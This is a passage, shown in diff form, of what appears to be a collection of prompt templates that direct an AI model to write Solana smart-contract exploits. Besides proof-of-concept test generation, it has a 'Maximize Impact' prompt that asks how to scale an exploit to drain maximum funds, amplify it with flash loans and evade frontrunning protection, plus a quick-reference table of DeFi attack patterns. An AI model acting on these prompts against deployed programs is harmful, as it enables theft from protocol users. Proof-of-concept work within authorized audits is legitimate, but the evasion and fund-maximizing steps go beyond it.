You are a Solana exploit specialist.
|
|
355
|
+
|
|
356
|
+
Vulnerability: [DESCRIPTION]
|
|
357
|
+
Type: [ACCOUNT_CONFUSION / CPI_REENTRANCY / UNSAFE_RUST / REINIT / SIGNER / PDA]
|
|
358
|
+
Program: [PASTE RUST PROGRAM]
|
|
359
|
+
|
|
360
|
+
Generate a complete Anchor test (TypeScript or Rust) that:
|
|
361
|
+
1. Sets up accounts with anchor.Provider
|
|
362
|
+
2. Executes the attack sequence
|
|
363
|
+
3. Asserts exploit succeeded
|
|
364
|
+
4. Logs profit or state change
|
|
365
|
+
|
|
366
|
+
Use realistic SOL amounts. The test must PASS with `anchor test`.
|
|
367
|
+
```
|
|
368
|
+
|
|
369
|
+
### Maximize Impact
|
|
370
|
+
```
|
|
371
|
+
Given this working exploit:
|
|
372
|
+
[PASTE EXISTING PoC]
|
|
373
|
+
|
|
374
|
+
Suggest how to:
|
|
375
|
+
1. Scale the attack to drain maximum funds
|
|
376
|
+
2. Make it atomic (single transaction)
|
|
377
|
+
3. Add flash loan to amplify
|
|
378
|
+
4. Avoid frontrunning protection
|
|
379
|
+
```
|
|
380
|
+
|
|
381
|
+
---
|
|
382
|
+
|
|
383
|
+
## Common Attack Patterns Quick Reference
|
|
384
|
+
|
|
385
|
+
| Pattern | Entry Point | Key Function |
|
|
386
|
+
|---|---|---|
|
|
387
|
+
| Reentrancy | withdraw() | receive() / fallback() |
|
|
388
|
+
| Flash Loan | any DEX | executeOperation() |
|
|
389
|
+
| Access Control | admin functions | makeAddr() + prank |
|
|
390
|
+
| Oracle Manip | price-dependent | swap() + query |
|
|
391
|
+
| Integer Overflow | math operations | unchecked {} |
|
|
392
|
+
| Front Running | mempool | vm.roll() + vm.prank() |
|
|
393
|
+
| Signature Replay | permit/sign | reuse signature |
|
|
394
|
+
| Self-Destruct | selfdestruct | force ETH send |
|